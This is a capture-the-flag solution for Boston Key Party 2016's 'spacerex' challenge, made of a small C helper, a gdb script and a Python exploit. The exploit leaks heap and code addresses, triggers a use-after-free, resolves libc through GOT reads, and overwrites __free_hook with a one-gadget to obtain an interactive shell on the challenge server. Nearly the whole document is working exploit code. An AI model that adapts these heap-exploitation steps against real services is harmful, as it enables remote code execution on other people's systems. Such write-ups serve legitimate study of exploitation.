Boston key Party 2016 spacerex

get_val.c

int main() {
    double hoge;
    scanf("%llu", ((long long int*)&hoge));
    printf("%e\n", hoge);
}

get_val.py

gdb.execute("b *0x4005a8")
gdb.execute("run")
s = gdb.execute("p $xmm0", to_string=True)
print(s)
print(s.split("v2_double = {")[1].split(",")[0])
gdb.execute("continue")
gdb.execute("quit")

solve.py

import string
from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep, time
from sys import argv, exit
from base64 import *
from random import *

def read_noblock(p, n):
    p.setblocking(False)
    try:
        ret = p.recv(n)
    except:
        ret = ''
    p.setblocking(True)
    return ret

def read_until(p, string):
    s = ""
    while 1:
        c = p.recv(1)
        s += c
        if s.endswith(string):
            return s

def read_n(p, n, timeout=-1):
    s = ""
    start = time()
    while len(s) < n:
        s += read_noblock(p, 1)
        if timeout != -1 and time() - start > timeout:
            return s
    return s

def xor(s1, s2):
    ret = ""
    for i in xrange(len(s1)):
        ret += chr(ord(s1[i]) ^ ord(s2[i%len(s2)]))
    return ret

def wait(m):
    for i in xrange(1, m+1):
        print "{}...".format(i)
        sleep(1)

def create_planet(name, conste, mass, mag, rad, temp, p_type, comp, char, *argv):
    assert len(comp) == 8
    read_until(p, "_")
    p.send("{}\n".format(name))
    read_until(p, "_")
    p.send("{}\n".format(conste))
    read_until(p, "_")
    p.send("{}\n".format(mass))
    read_until(p, "_")
    p.send("{}\n".format(mag))
    read_until(p, "_")
    p.send("{}\n".format(rad))
    read_until(p, "_")
    p.send("{}\n".format(temp))
    read_until(p, "_")
    p.send("{}\n".format(p_type))
    for i in xrange(8):
        read_until(p, "_")
        p.send("{}\n".format(comp[i]))
    read_until(p, "_")
    p.send("{}\n".format(char))
    if char =='F':
        return
    elif char == 'R':
        read_until(p, "_")
        p.send("{}\n".format(argv[0]))
        return 

    assert 0
        

def create_star(name, star_type, temp, num_planet, *data):
    assert num_planet == len(data)

    p.send("1\n")
    read_until(p, "_")
    p.send("{}\n".format(name))
    read_until(p, "_")
    p.send("{}\n".format(star_type))
    read_until(p, "_")
    p.send("{}\n".format(temp))
    read_until(p, "_")
    p.send("{}\n".format(num_planet))
    for i in xrange(num_planet):
        create_planet(*data[i])
    read_until(p, "__")

def send_probe(name):
    p.send("6\n")
    read_until(p, "_")
    p.send("{}\n".format(name))
    read_until(p, "__")

def display_system(depth):
    p.send("5\n")
    read_until(p, "_")
    p.send("{}\n".format(depth))
    read_until(p, "_")
    p.send("y\n")
    res = read_until(p, "__")
    return res

def add_planet(*argv):
    p.send("6\n")
    create_planet(*argv)
    read_until(p, "__")

def destroy_planet(name, flag=False):
    p.send("2\n")
    read_until(p, "_")
    p.send("{}\n".format(name))
    if flag:
        return
    read_until(p, "__")

def create_moon(name, mass):
    read_until(p, "_")
    p.send("{}\n".format(mass))
    read_until(p, "_")
    p.send("{}\n".format(name))

def add_moon(name, *argv):
    p.send("3\n")
    read_until(p, "_")
    p.send("{}\n".format(name))
    create_moon(*argv)
    read_until(p, "__")

def edit_moon(planet, name, *argv):
    p.send("4\n")
    read_until(p, "_")
    p.send("{}\n".format(planet))
    read_until(p, "_")
    p.send("{}\n".format(name))
    if planet == "Invalid composition":
        print [p.recv(1024)]
        print [p.recv(1024)]
        print [p.recv(1024)]
        print [p.recv(1024)]
    create_moon(*argv)
    read_until(p, "__")

def destroy_moon(name, name2):
    p.send("8\n")
    read_until(p, "_")
    p.send("{}\n".format(name))
    read_until(p, "_")
    p.send("{}\n".format(name2))
    read_until(p, "__")

def go_back():
    p.send("9\n")
    read_until(p, "__")

def show_planet_list():
    p.send("7\n")
    return read_until(p, "__")

p = None
def main():
    global p
    
    p = socket(AF_INET, SOCK_STREAM)
    if len(argv) >= 2:
        p.connect(("spacerex.bostonkey.party", 6666))
        LIBC_OFF = 0x8c5c0
        FREE_HOOK = 0x3c0a10
        ONE_GADGET = 0xe58c5
    else :    
        p.connect(("localhost", 7777))
        LIBC_OFF = 0x8c5c0
        FREE_HOOK = 0x3c0a10
        ONE_GADGET = 0xe58c5
    print "[*] connected"

    read_until(p, "__")
    tmp1 = ["tmp1", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'F']
    create_star("for_leak", 1, 114514, 1, tmp1)
    send_probe("for_leak")
    res = display_system(128)
    line = res[res.find("38. "):].split("\n")[0]
    s2 = line.split(".  ")[1]
    heap_base = int("".join(hex(int(i))[2:].ljust(2, "0")[::-1] for i in s2[:-3].split("%    "))[::-1], 16) - 0x5090
    line = res[res.find("39. "):].split("\n")[0]
    s2 = line.split(".  ")[1]
    code_base = int("".join(hex(int(i))[2:].ljust(2, "0")[::-1] for i in s2[:-3].split("%    "))[::-1], 16) - 0x40c0
    print "heap:", hex(heap_base)
    print "code:", hex(code_base)

    go_back()
    create_star("cause_UAF", 1, 889464, 0)
    send_probe("cause_UAF")
    add_planet("trigger", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'F')
    add_planet("setup", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'R', heap_base+0x5430)
    add_moon("setup", "sacrifice1", 1)
    destroy_planet("trigger")
    add_planet("trigger", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'F')
    add_planet("overwritten1", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'R', 0xdeadbeeffeedface)
    res = getoutput("echo {} | gdb -q -x get_val.py ./a.out".format(code_base + 0x205F68))
    val = res.split("\n\n")[2].split("\n")[0]
    payload1 = pack("<Q", code_base + 0x205F60) * 10
    assert not "\n" in payload1
    edit_moon("setup", pack("<Q", heap_base+0x5a50), payload1, val)
    res = show_planet_list()
    db = res.split("List of Planets in system -\n  ")[1].split("\x1b[0m \n")[0]
    memset = unpack("<Q", db[:len(db)/2].ljust(8, "\x00"))[0]

    payload1 = pack("<Q", code_base + 0x205F70) * 10
    assert not "\n" in payload1
    edit_moon("setup", pack("<Q", code_base + 0x205f60), payload1, val)
    res = show_planet_list()
    db = res.split("List of Planets in system -\n  ")[1].split("\x1b[0m \n")[0]
    __stack_chk_fail = unpack("<Q", db[:len(db)/2].ljust(8, "\x00"))[0]

    libc_base = __stack_chk_fail - LIBC_OFF
    payload2 = pack("<Q", libc_base + FREE_HOOK-8) * 10
    edit_moon("setup", pack("<Q", code_base + 0x205f70), payload2, val)
    edit_moon("", "", pack("<Q", libc_base + ONE_GADGET), 810) 
    add_planet("call_free_hook", 1919, 810, 893, 45, 45, 1, [100]+[0]*7, 'F')
    destroy_planet("call_free_hook", True)

    while 1:
        cmd = raw_input("> ")
        p.send("{}\n".format(cmd))
        print [p.recv(1024)]
    print [p.recv(1024)]
    print [p.recv(1024)]
    print [p.recv(1024)]
    print [p.recv(1024)]
    

if __name__ == "__main__":
    main()